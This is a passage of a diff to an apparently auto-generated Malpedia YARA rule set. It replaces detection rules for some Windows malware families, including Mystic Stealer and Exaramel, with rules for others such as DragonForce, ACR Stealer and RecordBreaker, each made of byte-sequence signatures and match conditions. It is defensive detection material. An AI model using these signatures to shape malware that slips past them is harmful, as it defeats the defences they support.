"TLP:WHITE" strings: - $sequence_0 = { 56 8d45b4 50 53 33f6 56 } - $sequence_1 = { 8b4008 8945f4 a1???????? 53 35fc28b0ec 56 50 } - $sequence_2 = { c745f40c000000 c745fc01000000 895df8 ffd7 85c0 7508 } - $sequence_3 = { 53 56 57 8bf8 a1???????? 8b5808 8b07 } - $sequence_4 = { a1???????? 8b4008 89442404 85f6 0f84c9000000 8b4610 85c0 } - $sequence_5 = { 8b4008 57 8b3d???????? 6a40 8945f8 8d45b8 } - $sequence_6 = { ff15???????? 8bf0 85f6 750c 57 ff15???????? 6a08 } - $sequence_7 = { 3bc6 743c 56 56 ff75f4 } - $sequence_8 = { ff15???????? 8d4608 50 e8???????? 837e0400 7414 6aff } - $sequence_9 = { 35fc28b0ec 56 50 8b4508 8b402c e8???????? 85c0 } + $sequence_0 = { 488bd5 4889442428 498bce 488364242000 } + $sequence_1 = { 85c0 783c 488b9508030000 4885d2 } + $sequence_2 = { 4885c0 0f84b5000000 488d4c2430 41b900100000 48894c2420 4c8bc3 498bce } + $sequence_3 = { 33d2 488b4dc8 e8???????? 488b4dc8 } + $sequence_4 = { 90 ba38000000 488bcb e8???????? 90 } + $sequence_5 = { 4885f6 0f84ff000000 488b05???????? 4885c0 0f84ef000000 488d4c2430 41b900100000 } + $sequence_6 = { 488364242000 ffd7 8bc8 ffd3 } + $sequence_7 = { 488bd8 ff15???????? 488bcf 488945e5 } + $sequence_8 = { 488364242000 ffd7 8bc8 ffd3 4c8d5c2460 498b5b20 498b6b28 } + $sequence_9 = { ff15???????? 488d4c2438 33d2 48894c2420 448d4f30 } condition: - 7 of them and filesize < 117760 + 7 of them and filesize < 4825088 } -rule MALPEDIA_Win_Webc2_Cson_Auto : FILE +rule MALPEDIA_Win_Karius_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6b87b7d-9114-5579-a68c-0816423dfdd5" + id = "f864f52d-97b4-52e1-be47-a43becf89939" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_cson_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karius_auto.yar#L1-L233" license_url = "N/A" - logic_hash = "6b0f4d165f53805d0d2ba6ef3f6dd5489f1ced5c22f12be382e768df751280a7" + logic_hash = "65d32f5659cb602716004ef37e85991451736e33f4d393130adf2e3c033195f4" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -131626,32 +131485,48 @@ rule MALPEDIA_Win_Webc2_Cson_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff35???????? ff15???????? 33ff e9???????? } - $sequence_1 = { ff15???????? 395dfc 7463 8d8540fdffff 6800020000 50 } - $sequence_2 = { e8???????? 68???????? 56 e8???????? 8d85f0feffff } - $sequence_3 = { 3bc3 8945f8 7513 68???????? ff15???????? 59 33c0 } - $sequence_4 = { 57 68???????? 6a50 68???????? } - $sequence_5 = { 3bf3 8975f8 0f8480010000 53 68???????? b8???????? 6a03 } - $sequence_6 = { 83c420 6a01 58 eb02 33c0 5f 5e } - $sequence_7 = { 8d85ec6bfeff 50 e8???????? 59 68e8030000 } - $sequence_8 = { 7512 55 ffd6 57 ffd6 68???????? ff15???????? } - $sequence_9 = { 83c418 50 ff15???????? e9???????? 8d45c0 } + $sequence_0 = { 41b830000000 488bcf ff15???????? 4885c0 } + $sequence_1 = { 85db 0f8477000000 8bb424b0000000 418b10 } + $sequence_2 = { 8bb424b0000000 418b10 8bcd 4903d6 0fb602 } + $sequence_3 = { 4d03d6 448bcd 85db 0f8477000000 } + $sequence_4 = { 488b05???????? 4885c0 7512 ff15???????? 488905???????? 4885c0 } + $sequence_5 = { 0f849d000000 41837b1400 0f8492000000 458b4320 458b5324 33ed } + $sequence_6 = { bf01000000 8bd7 498bce ffd3 4183bf8c00000000 } + $sequence_7 = { c3 85c0 7505 e8???????? b801000000 } + $sequence_8 = { 0f84b3000000 458b9f88000000 4d03de 418b5b18 85db 0f849d000000 } + $sequence_9 = { 41 ff45fc 42 ff45f8 } + $sequence_10 = { 8bc7 ffc8 7416 ffc8 } + $sequence_11 = { 81c200000100 8955f8 b804000000 8945fc 81fa80000000 7307 } + $sequence_12 = { 4d8bc7 488bd0 488bce ff15???????? } + $sequence_13 = { 7405 f60001 7502 33c0 } + $sequence_14 = { 48895c2420 4d8bcc 4d8bc7 488bd0 } + $sequence_15 = { 33d2 488bce ff15???????? 4c8bf0 4885c0 } + $sequence_16 = { 47 41 3bfb 0f825ffeffff } + $sequence_17 = { 7505 8d7b02 eb09 6685c0 } + $sequence_18 = { 8a17 80fa41 7c0d 80fa5a } + $sequence_19 = { ff15???????? 4c8be8 498bce ff15???????? 4d85ed } + $sequence_20 = { ebb0 8b5d10 8b750c 8b4d08 47 8b55f4 41 } + $sequence_21 = { 7e26 3c5b 750a 5e 894d0c } + $sequence_22 = { 488d4b10 488d542450 41b804000000 c6430f68 } + $sequence_23 = { 41 7411 43 3c5c } + $sequence_24 = { 4d8bcf 33d2 41b800001000 488bce } + $sequence_25 = { 7c04 3c39 7ee3 803f2e } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Grok_Auto : FILE +rule MALPEDIA_Win_Spyder_Patchwork_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b9ba5cb5-3752-5e96-9a74-900c3065fa33" + id = "ff9f13ab-f307-5c96-9d42-3d8adb391da2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grok_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder_patchwork" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyder_patchwork_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "0c97c5be712250fba8ecf0a25a041d30466c220a206e99d1c5c73f4b7d759714" + logic_hash = "a4925947525684eeb2c63af57878906d58b4bbbd5876d1885456e41c85c55b5b" score = 75 quality = 75 tags = "FILE" @@ -131665,32 +131540,32 @@ rule MALPEDIA_Win_Grok_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3945f4 7308 8b4df4 c60100 ebe4 8b55f8 c7420900000000 } - $sequence_1 = { 8b8de0fdffff 8a11 8895dffdffff 8b85e4fdffff 3a10 7546 } - $sequence_2 = { 837d1004 7307 b8060200c0 eb0e 8b4508 8b403c c70030120000 } - $sequence_3 = { 0f8ca4000000 53 ff15???????? 8b0d???????? 3b01 8b3d???????? } - $sequence_4 = { 0f85a2000000 681c010000 8d85c8feffff 50 6a00 8b4d08 51 } - $sequence_5 = { 8975dc ff15???????? 85c0 8b1d???????? 7d11 be2a0000c0 ff75f8 } - $sequence_6 = { a1???????? 83c40c c780bc01000001000000 33c0 5f 5e 5d } - $sequence_7 = { b81a0000c0 eb5c 50 8d460a 56 50 e8???????? } - $sequence_8 = { b89a0000c0 eb51 8d45f8 50 ff75f8 56 6a01 } - $sequence_9 = { 85c0 0f842d010000 8b742410 8b3d???????? 6a00 6a10 6a01 } + $sequence_0 = { 3930 0f8551010000 8b4004 83f82a 7429 83f839 7424 } + $sequence_1 = { ff74246c 50 e8???????? 83c410 5f 5e 5b } + $sequence_2 = { 8904a9 8b4c2444 8b44241c c1e002 0101 8b4c2458 8b442430 } + $sequence_3 = { e9???????? 6800030000 8d44242c 50 6a07 6801990000 e8???????? } + $sequence_4 = { 743c ba80000000 be00080000 0f1f8000000000 0fb60419 0fb70445403b4400 } + $sequence_5 = { e8???????? ff7620 e8???????? 56 e8???????? 83c420 5f } + $sequence_6 = { 741f 8b542410 3bca 7617 8b4608 2bca 51 } + $sequence_7 = { 8b4c242c 8d04b0 8b28 4e ba02000000 894c2414 89442420 } + $sequence_8 = { 6689460c 8b0f 8bc1 83e002 83c800 741d 668b4648 } + $sequence_9 = { ff15???????? 6a06 6a00 ff15???????? 6a00 6a00 6a00 } condition: - 7 of them and filesize < 84992 + 7 of them and filesize < 2260992 } -rule MALPEDIA_Win_Pkybot_Auto : FILE +rule MALPEDIA_Win_Decaf_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "29bf327d-061e-5e00-99c9-e0f77546c9d5" + id = "c019d263-a899-5660-aa15-798e52adcd92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pkybot_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.decaf" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.decaf_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "8f4c476e3b3790c8de41f37bef9cc1cce302daf7501c6563be237c0b8f2d2ef4" + logic_hash = "8c05c17767eead1f69d9ac7eb9dd704aba24d34223075b108957952ecaf7a6e5" score = 75 quality = 75 tags = "FILE" @@ -131704,32 +131579,32 @@ rule MALPEDIA_Win_Pkybot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf0 eb02 33f6 8b4704 0590000000 894620 } - $sequence_1 = { 33c0 e9???????? 53 6a10 ff7510 8d45f0 } - $sequence_2 = { 53 ff7004 ff30 6aff } - $sequence_3 = { 7407 46 8a06 84c0 79eb 8bc6 } - $sequence_4 = { 7510 8b4e04 21413c c741300d000000 } - $sequence_5 = { 6801000040 ff7510 ff750c e8???????? } - $sequence_6 = { 7503 8b7104 83c10c e8???????? 50 8bce } - $sequence_7 = { 8b07 8bcf ff5008 6a2c e8???????? } - $sequence_8 = { 8b4008 eb08 e8???????? 59 } - $sequence_9 = { 56 ff7510 ff750c ff7508 ff15???????? 85c0 } + $sequence_0 = { 488d6c2460 48c744247000000000 31c0 31c9 31d2 bb02000000 be67000000 } + $sequence_1 = { eb11 488d7818 488b8c2438240000 e8???????? 488b8c2470060000 48894808 833d????????00 } + $sequence_2 = { 44886c2446 440fb66c2464 44886c2445 440fb66c245d 44886c2444 440fb66c2466 44886c2443 } + $sequence_3 = { e9???????? 4983f806 754d 4c8d4301 4c39c6 7331 488d051d4d0f00 } + $sequence_4 = { eb14 488d7818 488b8c24081b0000 0f1f00 e8???????? 488b8c24080b0000 48894808 } + $sequence_5 = { e8???????? 488b0d???????? 48898c24e0000000 488d052c9c1300 e8???????? 833d????????00 750e } + $sequence_6 = { 488b6c2410 4883c418 c3 488d05f5bb1b00 48890424 e8???????? 450f57ff } + $sequence_7 = { e8???????? b911000000 4889c7 4889de 31c0 488d1d94e71700 e8???????? } + $sequence_8 = { e8???????? 488b442478 488b4c2470 488b942488000000 ebbd 90 488d05bfff1d00 } + $sequence_9 = { eb14 488d7818 488b8c2470220000 0f1f00 e8???????? 488b8c24a8030000 48894808 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 7193600 } -rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE +rule MALPEDIA_Win_Imprudentcook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff6d02a5-11a9-5b9c-bc25-58f6a66b5d47" + id = "e985dc9d-907c-5ecd-b391-7678328944ea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mystic_stealer_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.imprudentcook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.imprudentcook_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "ec33f5bc78df8bf32bd1dfa20b10a2a5389598f3b75f6130cffa6e3d8120ea9d" + logic_hash = "df9f920c4e9fbf5202cbb078d209a88f010a87e5e4d8cea3492e3733d1c90a2b" score = 75 quality = 75 tags = "FILE" @@ -131743,32 +131618,32 @@ rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7509 3bef 7505 33db 43 eb02 33db } - $sequence_1 = { 741f 8b0e 50 8b510c e8???????? 8b06 59 } - $sequence_2 = { 3b5c242c 7f59 66ff84463c0b0000 33c9 } - $sequence_3 = { e8???????? 83bd5014000002 59 59 } - $sequence_4 = { 8bc2 41 3bca 8b542418 0f4ec1 8b4c2414 89442430 } - $sequence_5 = { 8bcf c7460471000000 e8???????? 33c9 394e14 } - $sequence_6 = { 5b e9???????? a1???????? 8bcf c746049a020000 894718 e8???????? } - $sequence_7 = { 3bca 7420 0fb7449d02 8bca } - $sequence_8 = { 80ea03 c6040101 8b8ea0160000 8b8698160000 41 898ea0160000 c6040100 } - $sequence_9 = { 57 ffb42444010000 ffb4244c010000 50 } + $sequence_0 = { 49f7d0 48c1ef20 498bc0 48897c2420 48f7f7 488bc8 } + $sequence_1 = { 4981fd541f0000 7c24 488d0c5b 4881f9aa0f0000 7c17 488bcf 48895c2420 } + $sequence_2 = { 4c8d45f8 488d550f 488d4de7 4889442420 e8???????? 488d4d1f ff15???????? } + $sequence_3 = { 7303 4d03d7 488bca 48c1ea20 418bc3 48c1e120 4803c8 } + $sequence_4 = { 4c8bc7 498bd7 488bce 4889442420 e8???????? eb10 488bf5 } + $sequence_5 = { 488d55e7 483bc1 498bca 7d12 488b45df 4c894c2428 4d8bc8 } + $sequence_6 = { 458bda 488bd0 4885c0 783d 482bc7 498d0cc4 498bc5 } + $sequence_7 = { 493b45f0 752b 4883c8ff 498bd5 498bce 492bd7 492bcf } + $sequence_8 = { 4d892cc4 4f8d2cfc 4c8bcf 4d8bc5 498bd4 e8???????? 488bdf } + $sequence_9 = { 488b8424a0000000 4d8bc4 4889442420 e8???????? 4883c450 415f 415e } condition: - 7 of them and filesize < 465920 + 7 of them and filesize < 864256 } -rule MALPEDIA_Win_Graftor_Auto : FILE +rule MALPEDIA_Win_Dragonforce_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "138ca116-cc68-528f-bf0e-7fb64c51da51" + id = "04e040d9-91b9-5636-bb88-ea712bdc46a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graftor_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonforce" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonforce_auto.yar#L1-L90" license_url = "N/A" - logic_hash = "a96a22ad70eb991290928c1f214241d1fdeb4091277b5b5fb893f50f8f3393f5" + logic_hash = "1983039dbcbe97b58972e2e24c645af80b3369f0d68152ff0fbf029f83aa4fd4" score = 75 quality = 75 tags = "FILE" @@ -131782,32 +131657,30 @@ rule MALPEDIA_Win_Graftor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 393d???????? 7523 8d85fcbfffff 50 57 57 6a29 } - $sequence_1 = { 57 e8???????? 85c0 743f 8365fc00 8d45fc 50 } - $sequence_2 = { c3 53 8b5e14 57 8bf8 3bdf 771d } - $sequence_3 = { 5e 5d c20400 6a50 b8b69f4c00 e8???????? 8b7d10 } - $sequence_4 = { e8???????? 6800aa4d00 8db5ecbeffff c645fc04 e8???????? 8b8d58bfffff 33ff } - $sequence_5 = { e8???????? 845df0 740b 6a00 53 8d4db8 e8???????? } - $sequence_6 = { 741c 50 ff15???????? 85c0 7511 8b4604 3d58b74e00 } - $sequence_7 = { c68424a8030000fc 8d84244c020000 8bf4 89a424c4000000 50 e8???????? c68424a8030000fa } - $sequence_8 = { e8???????? 83c418 84c0 747f 66d16dc8 0fb745c8 } - $sequence_9 = { 897dac e8???????? 660fbe00 6a05 8d53bf 59 } + $sequence_0 = { 83ff01 7564 c745fc???????? bb???????? } + $sequence_1 = { 83c608 897dec 8b0481 8bc8 } + $sequence_2 = { 88943d09fdffff 47 83ff42 72d6 } + $sequence_3 = { 6690 85db 0f844ef4ffff 0fb607 } + $sequence_4 = { 8a85a9fcffff e8???????? 8985e0f5ffff 8d8d9cfcffff } + $sequence_5 = { 6a00 6a00 6a01 8d85dcfdffff } + $sequence_6 = { c6459002 c6459173 c6459202 c6459365 } + $sequence_7 = { c644243145 c64424323c c644243369 c64424343c } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 879616 } -rule MALPEDIA_Win_Eagerbee_Auto : FILE +rule MALPEDIA_Win_Recordbreaker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7a126278-7eb1-5d08-9b25-74b27f2a3312" + id = "84c578f1-7563-5244-9c52-c15658d206fd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eagerbee_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.recordbreaker_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "a3d744962e3184242280e8a1606b8e9d39f3a62e4bfb278481827290e0059489" + logic_hash = "47ce2cf43e0dd275e8c2b25425755b57837a7a72d47324aa716f84b51ead687c" score = 75 quality = 75 tags = "FILE" @@ -131821,32 +131694,32 @@ rule MALPEDIA_Win_Eagerbee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3986f4160000 0f8576ffffff 8b8684000000 85c0 7809 488bd0 } - $sequence_1 = { 488d4c0422 44896309 e8???????? 8bd0 e9???????? 488d4c0421 e8???????? } - $sequence_2 = { 44396818 0f84b7010000 488d1de463ffff beffff0000 bd00010000 e9???????? 4439af90000000 } - $sequence_3 = { 885c247d 488b08 488d542470 ff5058 b9fb010000 488bd8 e8???????? } - $sequence_4 = { c684242b0100006d 4088bc242c010000 4088b4242d010000 48397308 0f84ae030000 488b05???????? c684249000000073 } - $sequence_5 = { 33c9 8bd7 41b800300000 ff15???????? 8b5500 } - $sequence_6 = { c644243432 c64424352e c644243664 884c2438 488d4c2430 c644243900 } - $sequence_7 = { 488d8c24e0040000 48894c2420 488b8c24e8040000 4c8bc3 ba01000000 ffd0 488b05???????? } - $sequence_8 = { 8a8424c0000000 8b9c24a8000000 488bbc2498000000 88442450 488b8424b8000000 498943e0 8a8424b0000000 } - $sequence_9 = { 4883ec38 83fa01 7528 488364242800 8364242000 } + $sequence_0 = { e8???????? 8b15???????? 8bc8 e8???????? 8b55f0 } + $sequence_1 = { 8a040e 46 8802 42 3bf3 72f5 } + $sequence_2 = { 51 8d4de4 51 ff750c a5 } + $sequence_3 = { ff15???????? 33c0 40 eb08 ff15???????? 33c0 5f } + $sequence_4 = { 8365f800 a1???????? c745f464000000 53 56 } + $sequence_5 = { 33c0 50 6800000008 6a02 50 50 } + $sequence_6 = { ba04010000 8d0c41 51 8d85d0fdffff 50 } + $sequence_7 = { ff15???????? 8b7508 83c410 8bd3 } + $sequence_8 = { 8b15???????? 8bc8 e8???????? 8b55f8 } + $sequence_9 = { 81ec68040000 837d1002 53 56 8bf2 57 } condition: - 7 of them and filesize < 422912 + 7 of them and filesize < 232312 } -rule MALPEDIA_Win_Bandit_Auto : FILE +rule MALPEDIA_Win_Fickle_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "baac7fff-4fa3-5458-b9c3-9ba2ff3fe15a" + id = "6879e197-d2fb-581d-9f88-69c75afc2e63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandit_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fickle" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fickle_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "57d98c9e72ec66c58eb155bb6176131c752f20871acb7c0dc2253a7bf7e472fd" + logic_hash = "f140341d28c7aeaf4e7af75fed2cbbb86f7c4fb7ead43c1713a0301f74177602" score = 75 quality = 75 tags = "FILE" @@ -131860,34 +131733,34 @@ rule MALPEDIA_Win_Bandit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb24 31c0 488d5c241f b931000000 0f1f00 e8???????? 488bac2498000000 } - $sequence_1 = { eb1e 440fb64c341a 4183c1c3 4401ca 88543c1a 448844341a 4883c002 } - $sequence_2 = { 8854245f 0fb6542424 0fb6742421 29f2 88542460 31c0 488d5c2446 } - $sequence_3 = { eb1c 4889c7 488b8c2400110000 e8???????? 488d3d6bac7c00 e8???????? e8???????? } - $sequence_4 = { e8???????? 90 31c9 e8???????? 4885ff 750a 48895c2440 } - $sequence_5 = { eb1d 488d7808 488b9424501b0000 e8???????? 488d3dc0945f00 e8???????? 90 } - $sequence_6 = { e8???????? 488b8424c8000000 488b542430 488b7058 4885f6 7429 4889742448 } - $sequence_7 = { eb15 488d05172b4e00 e8???????? 488b4c2440 48ff4158 c60002 4889c3 } - $sequence_8 = { eb1a 440fb64c342a 4183c14d 4401ca 88543c2a 448844342a 4883c002 } - $sequence_9 = { e8???????? 833d????????00 750e 488b8c24e8060000 48894818 eb15 488d7818 } + $sequence_0 = { 80f12a 884c241e 0f280424 0f29442470 0f1044240f 0f1144247f 8dbc24a0000000 } + $sequence_1 = { 660f7f442440 89542450 897c2454 894c2458 8b44240c 8944245c 803e04 } + $sequence_2 = { 8b913b148901 33540804 89540c04 83c104 83f918 72ea 8a401c } + $sequence_3 = { 8d3449 8d0cb2 81c10c010000 8d14f2 8918 c7400400000000 897808 } + $sequence_4 = { e8???????? 83c40c 8b442418 8944246c 895c2470 8b44240c 89442474 } + $sequence_5 = { 8d742450 89442450 89f1 e8???????? 89d9 e8???????? 85c0 } + $sequence_6 = { 8d9c24b4000000 89d9 8d942498000000 57 e8???????? 83c404 89d9 } + $sequence_7 = { e8???????? 8b1e 8b7e04 53 ff17 83c404 837f0400 } + $sequence_8 = { 8d0440 8b4c2464 8b7c8104 8b448108 897c240c 31ed 85c0 } + $sequence_9 = { 8b54247c 8bbc2480000000 f30f7e442448 660fd6442468 8b442450 89442470 8d8c24d8000000 } condition: - 7 of them and filesize < 29914112 + 7 of them and filesize < 1646592 } -rule MALPEDIA_Win_Exaramel_Auto : FILE +rule MALPEDIA_Win_Soraya_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9d8ef319-a5df-534f-b138-19485cbaf19b" + id = "a07d2ec9-21c3-51d7-8a6a-aaea120dc635" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.exaramel_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soraya_auto.yar#L1-L232" license_url = "N/A" - logic_hash = "0034b5ba03392faf6ba4ea9ba70e440d6025311290e39d869c6ea3fe5bf2d84b" + logic_hash = "67d5293b43a7462b9bb676c8134e4e8a6a8c166af85a6bac43befacfaf313c24" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -131899,32 +131772,45 @@ rule MALPEDIA_Win_Exaramel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7539 a3???????? c705????????01000000 ff15???????? 8b35???????? 68???????? } - $sequence_1 = { be05400080 e9???????? 8d8528f8ffff 57 50 } - $sequence_2 = { ff15???????? 85c0 746d 53 57 ff75fc 8b3d???????? } - $sequence_3 = { 8b1d???????? 660f1f440000 8b0d???????? 8d85e4fbffff 6aff 6a00 } - $sequence_4 = { 742b 8b01 8d55f8 52 51 8b4068 ffd0 } - $sequence_5 = { e8???????? c70021000000 e9???????? 894ddc c745e068a54100 e9???????? c745e064a54100 } - $sequence_6 = { c1f806 6bc930 8b048560dd4100 f644082801 7406 8b440818 5d } - $sequence_7 = { 744e 85f6 7504 33c0 eb18 56 6a00 } - $sequence_8 = { 57 e8???????? 8bf0 83c428 85f6 0f881c010000 } - $sequence_9 = { 33c0 668945e8 8b45d4 886de5 8b148560dd4100 } + $sequence_0 = { ff15???????? 8d48bf 80f919 77f2 } + $sequence_1 = { 488d4dd0 488bd0 488bd8 ff15???????? 458bc7 33d2 } + $sequence_2 = { 833800 7411 c1d30b 8b18 0fbdc1 8b45e4 } + $sequence_3 = { 2bfa 037d0c 3bc7 72cd 8b4510 33c1 } + $sequence_4 = { ba02c10d00 33c8 2bfa 2bca 0faff9 eb46 } + $sequence_5 = { ffd0 85c0 7536 8b75ec 83feff 742e } + $sequence_6 = { 488bce ff15???????? 488bcd ff15???????? 498bce ff15???????? } + $sequence_7 = { 488bcf ff15???????? 83f801 753b } + $sequence_8 = { 6a04 6800300000 6a0a 56 ff15???????? 8b3d???????? } + $sequence_9 = { 52 8d45d8 50 8b45f8 33c6 } + $sequence_10 = { a1???????? 69c941370000 8bfa 33d2 f7f3 33d2 } + $sequence_11 = { ffd7 68???????? 8d85f8fdffff 50 ffd6 e8???????? 50 } + $sequence_12 = { 4885c0 0f84b8000000 488364242000 4c8d442430 41b930000000 } + $sequence_13 = { 7511 488bc5 81e1ff0f0000 482b4630 4a010411 8b4a04 } + $sequence_14 = { e8???????? 68???????? ff15???????? 8b3d???????? 8bd8 68???????? 53 } + $sequence_15 = { 488d4550 4c8d442450 4183c9ff 33d2 33c9 } + $sequence_16 = { 8d41f2 66898552ffffff 83c016 66898554ffffff } + $sequence_17 = { 72c8 4c891d???????? 488d0d1fe0ffff ff15???????? 488bc8 e8???????? 488d0dfadfffff } + $sequence_18 = { 8b45fc 8b7508 33c3 2bc7 } + $sequence_19 = { 3bf0 72e4 eb03 8b55fc } + $sequence_20 = { 8b45ec 41 3bc8 72e8 8b7df4 8b45f0 } + $sequence_21 = { 8b4dcc 8365f400 894dfc 0fb74b06 2bc7 49 } + $sequence_22 = { 6a0c 58 e8???????? 59 85c0 0f849e000000 2b75fc } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Gophe_Auto : FILE +rule MALPEDIA_Win_Acr_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2491eb29-3935-5849-a2ad-9eccac6a7b9a" + id = "547d8bdd-72e9-53c8-a71c-7409f9635ddc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gophe_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acr_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acr_stealer_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "5cb34ff791810c63e96dde8e723ffcb01f24b10439430c6d1044dfaa95dacbda" + logic_hash = "c2e01cdbfe17e3a90e2e6ed950f1a1b39c17c8ce5a68e48be7cf324c1277f6cb" score = 75 quality = 75 tags = "FILE" @@ -131938,38 +131824,32 @@ rule MALPEDIA_Win_Gophe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 833902 0f94c0 84c0 7407 } - $sequence_1 = { b905000000 ff15???????? 8b05???????? 85c0 } - $sequence_2 = { 8d45f4 64a300000000 68e0000000 e8???????? 83c404 } - $sequence_3 = { 85c0 7509 b803000000 5d } - $sequence_4 = { c744242880000008 c744242003000000 4533c9 ba00000080 458d4103 } - $sequence_5 = { 85f6 7416 6830020000 6a00 } - $sequence_6 = { c744242010000000 4533c9 4c8b4210 8b5208 ff9088000000 } - $sequence_7 = { 57 68???????? c70605000000 e8???????? } - $sequence_8 = { 85c0 7838 488b4c2440 ff15???????? 8bf8 85c0 } - $sequence_9 = { 8bf0 83c404 8bd6 b9???????? } - $sequence_10 = { 8bf8 e8???????? 83c408 8d5001 } - $sequence_11 = { 837d0800 7507 b802000000 5d c3 